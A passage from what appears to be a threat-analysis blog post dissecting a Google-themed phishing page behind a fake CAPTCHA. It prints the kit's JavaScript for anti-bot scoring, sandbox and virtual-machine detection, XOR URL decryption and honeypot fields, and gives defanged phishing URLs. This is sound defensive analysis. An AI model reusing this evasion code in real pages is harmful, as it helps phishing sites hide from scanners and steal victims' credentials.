simultaneously preparing the final phishing payload.</p><p><strong>The URL is:</strong></p><pre><code><code>https://accounts-g0033le-com-bc7e.robertsoneric509.workers[.]dev/?rd9=OV1ULFNKZFYVZwVZKQ8IclUUIQdJbAVRIQ1SegJSO10DIVVSNFAfOUIDaRlaMlwuWBsyQB1_RB8mUUE-FwkqQFgzUws9VwEiUT09VREsXBNqRA44Bx0oQBk1T0g4An5YDmUDTzQAFGZSDSgJWn4HTiMOSWADWSZRACtRVw==

Note: link disabled by adding [.] on the to prevent accidental click.</code></code></pre><h3>Flow of This Page:</h3><ul><li><p><strong>Initial Load:</strong> The obfuscated code unpacks itself.</p></li><li><p><strong>Bot Detection:</strong> It scores the browser environment.</p></li><li><p><strong>Sandbox Check:</strong> It tests for automated analysis tools.</p></li><li><p><strong>CAPTCHA Display:</strong> The page shows a fake verification UI.</p></li><li><p><strong>User Interaction:</strong> It tracks mouse movements and timing.</p></li><li><p><strong>Validation:</strong> The script checks for bot-like behavior.</p></li><li><p><strong>Payload Fetch:</strong> It connects to the C2 infrastructure.</p></li><li><p><strong>Decryption:</strong> The system decrypts payload data using XOR and AES.</p></li><li><p><strong>Final Payload:</strong> It loads malicious HTML or JS via a Blob URL.</p></li></ul><div><hr></div><h3>Fake Google.com Domain:</h3><p>The URL is designed to deceive victims at first glance by mimicking a legitimate Google address. It uses typosquatting by replacing &#8220;google&#8221; with &#8220;g0033le&#8221; to bypass quick visual inspections.</p><pre><code>https://accounts-<strong>g0033le-com</strong>-bc7e.robertsoneric509.workers[.]dev/</code></pre><p>The &#8220;accounts-g0033le-com&#8221; string acts as a subdomain trick on a Cloudflare Workers domain. This visual mimicry works because the brain reads the string as &#8220;accounts.google.com&#8221; at a glance.</p><p>The site uses a valid Cloudflare SSL certificate to display a padlock icon and build false trust. This exploits typoglycemia, where the brain perceives words as whole patterns rather than individual letters.</p><p>These misspellings help the attacker avoid automated detection systems. Most users fail to notice the domain is misspelled or hosted as a subdomain of a third-party service.</p><div><hr></div><h3>Base64 Encoded URL</h3><p>The CAPTCHA page URL includes an obfuscated parameter. This parameter does not directly point to the phishing page. Instead, it contains a <strong>Google open redirect link</strong>.</p><p>A Google open redirect is a legitimate Google URL that simply forwards the browser to another website specified in the link. When a user visits it, their browser first loads a page on <code>google.com</code>, then Google immediately redirects them to the final destination.</p><p>Attackers abuse this behavior because it makes the link appear to come from Google, even though the final page is controlled by the attacker.</p><p>The real destination is hidden so security scanners cannot easily see what the browser will actually request, and users are more likely to trust the redirect.</p><p>The real destination is protected by two layers of obfuscation:</p><ul><li><p>First, the link is Base64 encoded</p></li><li><p>Second, it is encrypted using a simple encryption method called XOR</p></li></ul><p>Base64 makes readable text look random. XOR then further scrambles that data so it cannot be understood without the key.</p><p>XOR works by combining each character of the original text with a secret key character. This changes the original data into unreadable output. Applying the same key again reverses the process and restores the original link. The same key is used to both hide and reveal the destination.</p><h4><strong>Layer 1: Base64 Decoding</strong></h4><p>The rd9 parameter in the URL is Base64 encoded:</p><pre><code><code>?rd9=OV1ULFNKZFYVZwVZKQ8IclUUIQdJbAVRIQ1SegJSO10DIVVSNFAfOUIDaRla...</code></code></pre><p>When decoded, this value does not produce a readable URL. Instead, it reveals another encrypted string.</p><h4><strong>Layer 2: XOR Decryption</strong></h4><p>The decoded value is then decrypted using XOR. The XOR key is hardcoded in the JavaScript running on the page.</p><p>The script processes the decoded string one character at a time and XORs each character with the corresponding character from the key. When the end of the key is reached, the script loops back to the beginning.</p><pre><code><code>// XOR decryption key found in the source
var _0x3f3017 = 'K9mP2xQ7vR' + '4nL8jF3wE6' + 'yT1hG5bN0c' + 
                 'Z9aD4fH8kM' + 'cV6wE2sL9p';
// Full key: K9mP2xQ7vR4nL8jF3wE6yT1hG5bN0cZ9aD4fH8kMcV6wE2sL9p

// XOR decryption function
var _0x5dae5f = function(_0x5385a4){
    // Replace URL-safe Base64 chars
    var _0x51080c = _0x5385a4.replace(/-/g,'+').replace(/_/g,'/');
    
    // Base64 decode
    var _0x443407 = atob(_0x51080c);
    var _0x7b605e = '';
    
    // XOR each byte with key
    for(var _0x58af27 = 0; _0x58af27 &lt; _0x443407.length; _0x58af27++) {
        _0x7b605e += String.fromCharCode(
            _0x443407.charCodeAt(_0x58af27) ^ 
            _0x3f3017.charCodeAt(_0x58af27 % _0x3f3017.length)
        );
    }
    return _0x7b605e;
};</code></code></pre><h4><strong>The Decryption Process:</strong></h4><p>The full decryption flow works as follows:</p><ul><li><p>URL&#8209;safe Base64 characters are converted to standard Base64</p></li><li><p>The string is Base64 decoded</p></li><li><p>Each byte is XORed with the hardcoded key</p></li><li><p>The output becomes a readable URL</p></li></ul><h4>Final Decrypted Result</h4><p>After both decoding and decryption, the hidden value resolves to:</p><pre><code><code>https://www.google.com/url?q=https://pub-2868288599424707.r2[.]dev/index.html#user@target-domain.com</code></code></pre><p>This layered obfuscation ensures the real destination remains hidden until the final stage, after client&#8209;side code execution, making static analysis and automated detection much more difficult.</p><div><hr></div><h3>Code Obfuscation Layer</h3><p>The JavaScript code on the CAPTCHA page uses heavy obfuscation to prevent static analysis and slow down manual reverse engineering. </p><p>This obfuscation layer functions as an initial barrier, ensuring that security tools and scanners cannot easily determine the script&#8217;s behavior without executing it in a browser or sandbox.</p><h4>Obfuscated Loader Function</h4><p>One of the first constructs encountered is a self executing anonymous function combined with array rotation logic:</p><pre><code><code>// Self-executing anonymous function with array rotation
(function(_0x1d6412,_0xa89068){
    var _0x45dc68=_0x_0x2e07,_0x30dae7=_0x_0x2e07,_0x208be3=_0x1d6412();
    while(!![]){
        try{
            var _0x4b03ab=parseInt(_0x45dc68(0x205))/(0x20ce+-0x3*-0x20c+-0x26f1)*(-parseInt(_0x30dae7(0x1fa))/(-0x2ee+-0x1*-0x1b73+-0x1883))
            // ... more obfuscated math
            if(_0x4b03ab===_0xa89068)break;
            else _0x208be3['push'](_0x208be3['shift']());
        }catch(_0x2ca087){
            _0x208be3['push'](_0x208be3['shift']());
        }
    }
}(_0x_0x2fa0,0xfb7+-0x56696+0xe2f1e))</code></code></pre><p>This code executes automatically as soon as the page loads. Wrapping the logic in an immediately invoked function expression creates a private scope, preventing variables and helper functions from being accessed directly by analysis tools or browser consoles. Everything meaningful is hidden inside the closure.</p><h4>Hex Encoded Arithmetic Confusion</h4><p>Throughout the code, arithmetic operations are written using hexadecimal values combined with misleading math expressions. </p><p>Expressions such as 0x20ce+-0x3*-0x20c+-0x26f1 look arbitrary but resolve to fixed numeric values at runtime. This prevents simple pattern matching and makes it difficult to determine which array index or condition is being evaluated by simply reading the source.</p><h4>Array Rotation Logic</h4><p>The loader relies heavily on array rotation to hide string values. A string array is repeatedly modified using shift() and push() operations. Each iteration removes the first element of the array and appends it to the end. This continues until a calculated condition is met.</p><p>Because the array is constantly being reordered, the numeric index used to retrieve a string does not correspond to a fixed value until the rotation completes. Any attempt to read string references statically will produce incorrect results unless the rotation logic is executed first.</p><h4>Variable Name Scrambling</h4><p>All variables and functions are assigned meaningless hexadecimal style identifiers such as _0x1d6412, _0xa89068, and _0x45dc68. </p><p>These names convey no semantic information about their purpose or contents. This forces an analyst to track values manually through execution rather than relying on readable identifiers, significantly increasing analysis time.</p><h4>Function Reference Obfuscation</h4><p>Functions are not called by descriptive names. Instead, function references are stored inside the rotated string array and accessed using numeric indices. </p><p>Calls such as _0x45dc68(0x205) resolve to real functions only after the array has been reordered correctly. Without executing the code, it is not possible to determine which function is actually being invoked.</p><h4>Obfuscated String Array</h4><p>The obfuscation relies on a large string array that stores encoded values used throughout the script:</p><pre><code>function _0x_0x2fa0(){
    var _0x124df4=[
        'mZy3ode2nuXczvPNtG',
        'B3bLBG',
        'BuTXB20',
        'r0vu',
        'zNvUy3rPB24GkG',
        // ... hundreds of obfuscated strings
    ];
    _0x_0x2fa0=function(){return _0x124df4;};
    return _0x_0x2fa0();
}</code></pre><p>This array contains hundreds of Base64 encoded strings that represent real JavaScript code fragments, function names, URLs, and string literals. These values are referenced by numeric index throughout the script. Because the array order is altered at runtime, the mapping between index and actual value changes dynamically.</p><p>Without executing the rotation logic, it is impossible to know what value a reference like _0x124df4[5] actually resolves to.</p><h4>Effectiveness of the Obfuscation</h4><p>This obfuscation strategy is effective against multiple forms of detection. Static analysis tools that do not execute JavaScript are unable to resolve string values, function calls, or control flow. </p><p>Signature based detection fails because the structure and ordering of the code can change between deployments. Manual reverse engineering becomes time consuming because meaningful logic is distributed across layers of indirection and runtime transformations.</p><p>The code also resembles patterns used by legitimate JavaScript packers and minifiers, which reduces the likelihood of it being flagged as malicious based solely on structure.</p><p>Without executing the script in a controlled environment or manually stepping through the deobfuscation process, security tools are left with JavaScript that appears unintelligible and does not match known threat signatures.</p><div><hr></div><h3>Bot Detection System</h3><p>Once the obfuscated JavaScript finishes unpacking, the page immediately evaluates the browser environment to determine whether it is being accessed by a real user or by an automated analysis tool. This logic runs before the phishing payload is allowed to load and acts as a gate that controls whether execution continues.</p><p>This function returns a numeric score based on multiple environment checks. Each check adds points when a signal commonly associated with automation, headless execution, or analysis tooling is detected.</p><h4>Core Detection Function:</h4><pre><code><code>window._vE=function(){
    var s=0;
    try{if(typeof process!=='undefined'&amp;&amp;process.versions)s+=5;}catch(e){}
    try{if(n.webdriver||w.callPhantom||w.__nightmare)s+=5;}catch(e){}
    try{if(n.userAgent&amp;&amp;(n.userAgent.indexOf('jsdom')&gt;-1||n.userAgent.indexOf('Headless')&gt;-1))s+=5;}catch(e){}
    try{if(!w.chrome&amp;&amp;!w.safari&amp;&amp;n.vendor==='')s+=3;}catch(e){}
    try{if(w.outerWidth===0||w.outerHeight===0)s+=3;}catch(e){}
    try{if(w.innerWidth===0||w.innerHeight===0)s+=3;}catch(e){}
    try{var t=Function.prototype.toString;if(t.call(t).indexOf('native code')===-1)s+=3;}catch(e){}
    try{if(typeof module!=='undefined'&amp;&amp;module.exports)s+=4;}catch(e){}
    return s;
};</code> </code></pre><h4>How the Detection Works:</h4><p>The function builds a cumulative score by testing for characteristics that are rarely present in real user browsers but commonly appear in automation frameworks, headless environments, and security scanners. </p><p>Each test is wrapped in a try catch block so that failing to access one signal does not stop the remaining checks from running.</p><p>This design allows the detection logic to remain effective even when parts of the environment are restricted, partially sandboxed, or instrumented.</p><p><strong>The script checks for the following indicators:</strong></p><ul><li><p><strong>Node JS:</strong> Identifies server-side environments by checking for the <code>process</code> global object (+5) or the <code>module.exports</code> CommonJS system (+4). Real browsers lack these, indicating the use of tools like Puppeteer.</p></li><li><p><strong>Automation Tools:</strong> Flags standard automation fingerprints. It checks <code>navigator.webdriver</code> (+5), a property set to true by Selenium/WebDriver, and scans for legacy bot globals like <code>callPhantom</code> or <code>__nightmare</code> (+5).</p></li><li><p><strong>Headless Browser Identification:</strong> Detects the absence of a physical UI. It scans the User-Agent for &#8220;jsdom&#8221; or &#8220;Headless&#8221; strings (+5). It also checks for Zero outer dimensions (<code>window.outerWidth/Height</code>) (+3) and Zero inner dimensions (<code>window.innerWidth/innerHeight</code>) (+3), as bots often fail to render a visual viewport.</p></li><li><p><strong>Environment Tampering:</strong> Detects attempts to mask bot activity. It flags a Modified Function.toString (+3) if the native code string is missing, indicating hooked functions. It also checks for a Missing vendor string (+3) in <code>navigator.vendor</code>, which is populated in real browsers like Chrome or Safari.</p></li></ul><h4><strong>Scoring Threshold:</strong></h4><p>The detection logic does not block execution directly. Instead, a separate gate function named <code>_vG</code> calls <code>_vE</code> and decides whether the page is allowed to proceed.</p><p>A score below the threshold is treated as a normal browser. A score at or above the threshold is treated as automation.</p><ul><li><p><strong>Score &lt; 8:</strong> Execution continues normally (likely a real browser)</p></li><li><p><strong>Score &#8805; 8:</strong> Execution is blocked (likely a bot or scanner)</p></li><li><p>The page sets <code>w._vFail=true</code> and prevents the phishing payload from loading</p></li></ul><p><strong>Score &lt; 8:</strong> Execution continues normally<br><strong>Score &#8805; 8:</strong> Execution is blocked</p><p>When the threshold is exceeded, the page sets <code>w._vFail=true</code> and prevents the phishing payload from loading.</p><h4>Gate Function:</h4><p>The gate function acts as a control checkpoint that runs before any sensitive code executes. The logic works like this:</p><ul><li><p>If <code>_vOK</code> is already set to true, the function immediately allows execution. This caches a successful validation so the checks are not repeated.</p></li><li><p>If <code>_vFail</code> is already set to true, execution is immediately blocked. Once a browser is flagged as automated, it remains blocked for the rest of the session.</p></li></ul><pre><code><code>window._vG=function(){
    if(w._vOK===true)return false;
    if(w._vFail===true)return true;
    var score=w._vE();
    if(score&gt;=8){
        w._vFail=true;
        return true;
    }
    w._vOK=true;
    return false;
};</code></code></pre><p>If neither flag is set, the function calls <code>_vE</code> to calculate the environment score. If the score meets or exceeds the threshold, <code>_vFail</code> is set and execution stops. Otherwise, <code>_vOK</code> is set and the page continues loading.</p><p>This ensures that automated scanners and headless analysis tools never see the phishing payload, while real user browsers proceed through the rest of the attack chain without interruption.</p><div><hr></div><h3>Sandbox Detection</h3><p>Beyond basic bot detection, the page implements sophisticated sandbox analysis detection to identify if it&#8217;s running in a security researcher&#8217;s controlled environment. </p><p>Sandboxes are isolated testing environments used by analysts to safely examine malicious code. This layer specifically targets those tools.</p><pre><code><code>var _isSandbox=!1,_isAnalysis=!1,_sandboxScore=0;

// Check for iframe sandbox
try{
    if(_w.self!==_w.top){
        try{_w.top.location.href;}catch(e){_sandboxScore+=1;}
    }
}catch(e){_sandboxScore+=1;}

// Test eval functionality
try{
    var _origEval=_w.eval;
    var _evalTest=_origEval('1+1');
    if(_evalTest!==2)_sandboxScore+=2;
}catch(e){_sandboxScore+=1;}

// Check function toString
var _fnToStr=_a.prototype.toString;
try{
    var _testFn=function(){return 1};
    var _str=_fnToStr.call(_testFn);
    if(_str.indexOf('return 1')===-1&amp;&amp;_str.indexOf('native code')===-1)_sandboxScore+=2;
}catch(e){_sandboxScore+=1;}

// Debugger timing detection
var _debugStart=_ts();
(function(){})();
var _debugEnd=_ts();
if(_debugEnd-_debugStart&gt;100)_sandboxScore+=3;

// Node.js detection
if(typeof process!=='undefined'&amp;&amp;process.versions&amp;&amp;process.versions.node)_sandboxScore+=5;
if(typeof module!=='undefined'&amp;&amp;module.exports)_sandboxScore+=3;
if(typeof require==='function'&amp;&amp;typeof require.resolve==='function')_sandboxScore+=3;</code></code></pre><div><hr></div><h3>Browser Fingerprinting:</h3><p>In addition to the JavaScript environment checks, the page performs browser fingerprinting to detect sandboxed or virtualized environments. </p><p>This stage looks for missing browser features and hardware characteristics that are difficult to fake convincingly. Real user browsers provide a complete set of web APIs and expose accurate hardware information through WebGL. </p><p>Analysis sandboxes and lightweight virtual machines often implement only the minimum required functionality, creating detectable gaps.</p><h4>Missing API Detection</h4><p>Modern browsers implement the full web API surface. Sandboxes tend to prioritize speed and isolation, often omitting storage APIs, cryptographic functions, and cache mechanisms that real websites depend on.</p><pre><code><code>// Check for missing browser APIs
var _browserGlobals=['localStorage','sessionStorage','indexedDB','caches','crypto'];
var _missingCount=0;
for(var i=0;i&lt;_browserGlobals.length;i++){
    try{if(typeof _w[_browserGlobals[i]]==='undefined')_missingCount++;}catch(e){_missingCount++;}
}
if(_missingCount&gt;=3)_sandboxScore+=3;</code></code></pre><p>The script checks for the presence of several standard browser APIs expected in a modern browser environment.</p><p><strong>APIs Tested: </strong><code>localStorage</code>, <code>sessionStorage</code>, <code>indexedDB</code>, <code>caches</code>, and <code>crypto</code></p><p>Real browsers implement all of these APIs because they are part of the standard web platform. Sandbox environments and automated analysis tools often omit less commonly used features to reduce complexity and resource usage. </p><p>If three or more of these APIs are missing or inaccessible, the environment is treated as suspicious and +3 points are added to the sandbox score.</p><div><hr></div><h4>WebGL Hardware Fingerprinting</h4><p>Real user devices rely on physical GPUs from vendors like Intel, NVIDIA, or AMD, which expose consistent renderer information through WebGL. </p><p>Analysis environments frequently run inside virtual machines or containers that use software rendering or virtual GPU drivers, which are easily identifiable.</p><pre><code><code>// Canvas fingerprinting
try{
    var canvas=_d.createElement('canvas');
    var gl=canvas.getContext('webgl')||canvas.getContext('experimental-webgl');
    if(gl){
        var debugInfo=gl.getExtension('WEBGL_debug_renderer_info');
        if(debugInfo){
            var vendor=gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
            var renderer=gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
            if(/SwiftShader|LLVMpipe|VirtualBox|VMware/i.test(renderer))_s+=3;
        }
    }
}catch(e){_s+=2}</code> </code></pre><p>The script creates a canvas element and requests a WebGL rendering context. </p><p>If available, it uses the WEBGL_debug_renderer_info extension to read the unmasked GPU vendor and renderer strings, exposing the actual graphics backend being used by the browser. </p><p>These renderer strings are then compared against known virtualized or software-based graphics implementations.</p><p><strong>Common VM and Software Renderers Detected:</strong></p><ul><li><p>SwiftShader: Software OpenGL implementation with no physical GPU</p></li><li><p>LLVMpipe: Mesa software rasterizer used in Linux virtual machines</p></li><li><p>VirtualBox and VMware: Virtual GPU drivers for virtual machines</p></li></ul><p>If any of these signatures are detected, +3 points are added to the sandbox score. If WebGL fails entirely or cannot be initialized, which is common in minimal sandbox environments, the script assumes restricted graphics support and adds +2 points.</p><h4>Why This Works</h4><p>While user agent strings and simple JavaScript properties can be spoofed, WebGL renderer values require low-level graphics driver manipulation to fake convincingly. Combined with missing API detection, this creates a fingerprint that is difficult for automated analysis tools to fully replicate.</p><p>A real Chrome browser running on physical hardware will pass both checks with no score increase (score +0). A sandboxed browser running inside a virtual machine typically triggers both the missing API detection and the virtual GPU detection, resulting in a cumulative score increase (score +6 or more) that contributes to blocking the phishing payload from loading.</p><div><hr></div><h3>Random Brand Name Generator</h3><p>To appear more legitimate and evade signature-based detection, the page dynamically generates fake company names for the CAPTCHA interface each time it loads. </p><p>This prevents security tools from flagging the page based on a known fake brand name, since the name changes with every visit. The random generation also creates the illusion of a professional security verification service.</p><pre><code><code>var prefixes=['','Global ','International ','Advanced ','Modern ','Next ','New ','First ','Prime ','Elite '];
var brands=['Secure','Cloud','Digital','Smart','Prime','Core','Net','Web','Data','Tech','Pro','One','Hub','Link','Base'];
var suffixes=['Services','Platform','Systems','Solutions','Connect','Portal','Gateway','Access','Suite','Center'];

var formats=[
    function(p,b,s){return p+b+s},
    function(p,b,s){return p+b+' '+s},
    function(p,b,s){return b+s},
    function(p,b,s){return b+' '+s}
];

window._brand=_r(formats)(_r(prefixes),_r(brands),_r(suffixes)).trim();
// Example output: "Global Smart Platform", "Digital Solutions", etc.

document.title=_r(titleFormats)(window._brand);</code></code></pre><h4><strong>How the Generator Works</strong></h4><p><strong>Component Arrays:</strong> Three arrays contain words used to construct the brand name.</p><ol><li><p><strong>Prefixes</strong> include an empty value or corporate modifiers such as Global, Advanced, Modern, and Elite.</p></li><li><p><strong>Brand terms</strong> consist of generic technology and security words like Secure, Cloud, Digital, Smart, and Data.</p></li><li><p><strong>Suffixes</strong> describe services or platforms, including Services, Solutions, Gateway, Portal, and Center.</p></li></ol><p><strong>Format Selection: </strong>One of four formatting functions is selected at random to control whether components are concatenated directly or separated by spaces.</p><p><strong>Random Choice: </strong>A helper function _r() selects one random prefix, one brand term, one suffix, and one format function using Math.random().</p><p><strong>Brand Assembly:</strong> The selected format function combines the three components into a single string, which is trimmed to remove extra whitespace.</p><p><strong>Page Title Injection: </strong>The generated brand name is assigned to document.title, causing the browser tab and page header to display the fake company name.</p><h4>Example Generated Names:</h4><ul><li><p>&#8220;Global Secure Services&#8221;</p></li><li><p>&#8220;Digital Platform&#8221;</p></li><li><p>&#8220;Smart Solutions&#8221;</p></li><li><p>&#8220;CloudGateway&#8221;</p></li><li><p>&#8220;Next Tech Center&#8221;</p></li><li><p>&#8220;Prime Data Systems&#8221;</p></li><li><p>&#8220;SecureConnect&#8221;</p></li></ul><h4>Why This Works:</h4><p>Each page load produces a different brand name, preventing security scanners from relying on static text signatures to identify the page. </p><p>Because there is no hardcoded company name, threat intelligence systems cannot search for or block a specific identifier.</p><p>The generated names closely resemble legitimate enterprise security vendors, which increases user trust during the CAPTCHA phase. </p><p>The use of generic technology terms avoids inconsistencies that might arise from pretending to be a specific real company.</p><p>This approach also adds polish to the phishing page. Compared to static or obviously fake branding, dynamic name generation makes the operation appear more professional and harder to distinguish from legitimate security workflows.</p><p>With 10 prefixes, 15 brand terms, 10 suffixes, and 4 formatting options, the generator can produce approximately 6,000 unique brand name combinations, making comprehensive detection and cataloging impractical for automated security tools.</p><div><hr></div><h3>Anti-Bot CAPTCHA System</h3><p>The CAPTCHA implementation serves two purposes: filtering automated traffic and appearing legitimate to the victim. </p><p>The system generates simple math problems, applies visual distortion, validates answers with timing checks, and tracks failed attempts to prevent brute-force solving.</p><h4>Challenge Generation</h4><p>The math challenge is generated using a function that randomly selects addition or subtraction. For addition, two numbers between 1 and 10 are chosen. </p><p>For subtraction, the first number is between 10 and 29, and the second number is between 1 and 10 to ensure a positive result. The function returns both the equation as a string and the correct answer.</p><pre><code><code>function _0x126f8d(){
    const _0x5ae264=['+','-'];
    const _0x3b109d=_0x5ae264[Math.floor(Math.random()*_0x5ae264.length)];
    let _0xfedd4d,_0x4860bb,_0x5d85a2;
    
    switch(_0x3b109d){
        case'+':
            _0xfedd4d=Math.floor(Math.random()*10)+1;
            _0x4860bb=Math.floor(Math.random()*10)+1;
            _0x5d85a2=_0xfedd4d+_0x4860bb;
            break;
        case'-':
            _0xfedd4d=Math.floor(Math.random()*20)+10;
            _0x4860bb=Math.floor(Math.random()*10)+1;
            _0x5d85a2=_0xfedd4d-_0x4860bb;
            break;
    }
    
    return {
        'equation':_0xfedd4d+' '+_0x3b109d+' '+_0x4860bb+' = ?',
        'answer':_0x5d85a2,
        'num1':_0xfedd4d,
        'num2':_0x4860bb,
        'op':_0x3b109d
    };
}</code></code></pre><h4>Visual Distortion</h4><p>The CAPTCHA is rendered on a canvas element with 20 random B&#233;zier curves in semi-transparent colors to create background noise. </p><p>Each character of the equation is drawn individually with randomized rotation, position offset, and scaling. </p><p>The font is randomly selected from four families, the color is chosen from a predefined palette, and a drop shadow adds depth. These distortions make automated parsing more difficult while remaining readable to a human.</p><pre><code><code>function _0x5c6ec6(_0x2045d9,_0x4a094d){
    const _0x1cd61f=_0x2045d9.getContext('2d');
    const _0x7099b5=_0x2045d9.width;
    const _0x41acf0=_0x2045d9.height;
    
    // Background gradient
    _0x1cd61f.fillStyle='#ffffff';
    _0x1cd61f.fillRect(0,0,_0x7099b5,_0x41acf0);
    
    // Draw random curves for noise
    for(let _0x2abd86=0;_0x2abd86&lt;20;_0x2abd86++){
        _0x1cd61f.beginPath();
        _0x1cd61f.lineWidth=1+Math.random();
        _0x1cd61f.strokeStyle='rgba('+(100+Math.random()*155)+', '+(100+Math.random()*155)+', '+(100+Math.random()*155)+', '+(0.3+Math.random()*0.2)+')';
        _0x1cd61f.moveTo(Math.random()*_0x7099b5,Math.random()*_0x41acf0);
        _0x1cd61f.bezierCurveTo(
            Math.random()*_0x7099b5,Math.random()*_0x41acf0,
            Math.random()*_0x7099b5,Math.random()*_0x41acf0,
            Math.random()*_0x7099b5,Math.random()*_0x41acf0
        );
        _0x1cd61f.stroke();
    }
    
    // Draw equation with distortion
    const _0x565782=_0x4a094d.split('');
    const _0x3ad41a=['Arial','Verdana','Times New Roman','Courier New'];
    const _0x34a815=['#1a73e8','#ea4335','#fbbc04','#5f6368','#34a853'];
    
    _0x565782.forEach((_0x3a6290,_0x5435ad)=&gt;{
        _0x1cd61f.save();
        const _0x860cfb=_0x16cfec+_0x5435ad*30+(Math.random()-0.5)*10;
        const _0x264f68=_0x42f887+(Math.random()-0.5)*10;
        const _0x27110a=(Math.random()-0.5)*0.4;
        const _0x21148a=0.9+Math.random()*0.3;
        
        _0x1cd61f.translate(_0x860cfb,_0x264f68);
        _0x1cd61f.rotate(_0x27110a);
        _0x1cd61f.scale(_0x21148a,_0x21148a);
        
        // Shadow effect
        _0x1cd61f.shadowColor='rgba(0,0,0,0.3)';
        _0x1cd61f.shadowBlur=2;
        _0x1cd61f.shadowOffsetX=1;
        _0x1cd61f.shadowOffsetY=1;
        
        _0x1cd61f.font='bold '+(18+Math.random()*8)+'px '+_0x3ad41a[Math.floor(Math.random()*_0x3ad41a.length)];
        _0x1cd61f.fillStyle=_0x34a815[Math.floor(Math.random()*_0x34a815.length)];
        _0x1cd61f.fillText(_0x3a6290,0,0);
        _0x1cd61f.restore();
    });
}</code></code></pre><h4>Validate CAPTCHA Answer:</h4><p>The CAPTCHA answer is validated by checking both the submitted value and the time taken to respond. Answers submitted too quickly are flagged as bot activity.</p><p>Failed attempts increment a counter, trigger progressive error messages, and refresh the CAPTCHA after five failures to prevent brute-force solving. Successful answers allow the page to proceed.</p><pre><code><code>function _0x2d2880(){
    const _0x110113=parseInt(_0x55b414.input.value.trim(),10);
    const _0x181abf=Date.now()-_0x434e52;
    
    // Check if answered too fast (bot behavior)
    if(_0x181abf&lt;1000||_0xf2ef96&lt;2&amp;&amp;_0x3fbffb&gt;=1){
        _0x3fbffb++;
        _0x55b414.input.classList.add('error');
        _0x55b414.errorText.textContent='Too fast! Please try again.';
        _0x55b414.error.classList.add('visible');
        _0x553edb(); // Update attempt dots
        setTimeout(()=&gt;_0x51bda9(),1000); // Refresh CAPTCHA
        return false;
    }
    
    // Check if answer is correct
    if(_0x110113===_0x5140d4){
        return _0x4cb1eb(), true; // Success
    }else{
        _0x3fbffb++;
        _0x55b414.input.classList.add('error');
        _0x553edb();
        
        const _0x4d8f07=[
            'Incorrect answer. Please try again.',
            'That\'s not quite right. Try once more.',
            'Wrong answer. Check your math.',
            'Hmm, that\'s incorrect. Please retry.',
            'Oops! Try once more.'
        ];
        _0x55b414.errorText.textContent=_0x4d8f07[Math.min(_0x3fbffb-1,_0x4d8f07.length-1)];
        _0x55b414.error.classList.add('visible');
        
        // Max attempts exceeded
        if(_0x3fbffb&gt;=5){
            _0x55b414.errorText.textContent='Too many failed attempts. Refreshing...';
            setTimeout(()=&gt;window.location.reload(),2000);
            return false;
        }
        
        setTimeout(()=&gt;_0x51bda9(),1500);
        return false;
    }
}</code></code></pre><div><hr></div><h3>Honeypot Fields (Bot Trap)</h3><p>The page deploys honeypot form fields to detect automated form fillers. </p><p>These fields are dynamically generated and hidden from view, ensuring that legitimate users never interact with them. Bots that blindly populate all inputs on a page will fill these fields and immediately trigger detection.</p><pre><code><code>function _0x46f241(){
    const _0x5b26b2=['email','username','password','address','phone','postal','city'];
    const _0x4a2c13=document.querySelector('.captcha-card');
    
    if(_0x4a2c13){
        for(let _0x487572=0;_0x487572&lt;3;_0x487572++){
            const _0x401161=document.createElement('input');
            _0x401161.type=Math.random()&gt;0.5?'text':'password';
            _0x401161.name=_0x5b26b2[_0x1cd96f(0,_0x5b26b2.length-1)]+'_'+_0x367ab4();
            _0x401161.autocomplete='off';
            _0x401161.tabIndex=-1;
            
            const _0x156621=_0x1cd96f(0,4);
            switch(_0x156621){
                case 0:
                    _0x401161.style.cssText='position:absolute;left:-9999px;';
                    break;
                case 1:
                    _0x401161.style.cssText='clip:rect(0,0,0,0);position:absolute;';
                    break;
                case 2:
                    _0x401161.style.cssText='visibility:hidden;position:absolute;';
                    break;
                case 3:
                    _0x401161.style.cssText='opacity:0;pointer-events:none;position:absolute;';
                    break;
                case 4:
                    _0x401161.style.cssText='position:absolute;width:1px;height:1px;overflow:hidden;';
                    break;
            }
            
            _0x4a2c13.appendChild(_0x401161);
            
            // If filled, redirect (bot detected)
            _0x401161.addEventListener('input',()=&gt;{
                window.location.href='about:blank';
            });
        }
    }
}</code></code></pre><h4>How It Works:</h4><p>The function dynamically inserts three hidden input fields into the CAPTCHA container each time the page loads. These inputs are added after the visible form is rendered, ensuring they exist in the DOM while remaining invisible to real users.</p><p><strong>Believable Field Names: </strong>The field names are constructed to look legitimate. Each input uses a common form label such as email, username, or password, followed by a random suffix. This naming pattern is intended to attract automated form fillers that scan for familiar input names and populate them automatically.</p><p><strong>Mixed Input Types: </strong>Each honeypot field randomly alternates between <code>text</code> and <code>password</code> input types. This variation makes the fields resemble real login inputs and reduces the chance that bots skip them based on type alone.</p><p><strong>Multiple Hiding Techniques: </strong>The inputs are hidden using one of five different CSS techniques. These include positioning the element far off&#8209;screen, clipping it to a zero&#8209;sized rectangle, setting visibility to hidden, setting opacity to zero with pointer events disabled, or shrinking the element to a 1&#215;1 pixel area with overflow hidden. Rotating between multiple hiding methods prevents bots from bypassing the trap by detecting a single concealment pattern.</p><p><strong>User Interaction Prevention: </strong>To avoid any accidental interaction by real users, the fields are removed from keyboard navigation by setting <code>tabIndex=-1</code>, and browser auto&#8209;fill is disabled using <code>autocomplete='off'</code>.</p><p><strong>Detection Trigger: </strong>Each honeypot field has an event listener attached. If any input is detected in one of these hidden fields, the script immediately redirects the browser to <code>about:blank</code>. This silently terminates the session and prevents the phishing payload from continuing to load.</p><div><hr></div><h3>Visibility Warning System</h3><p>The page monitors when the user switches tabs, minimizes the browser, or clicks away from the active window. When this happens, a visible warning is displayed to discourage the victim from leaving the page during the verification process.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!P4Rs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!P4Rs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e995e47-4c0c-403b-90d2-963bc1960a0b_2192x1642.png 424w, 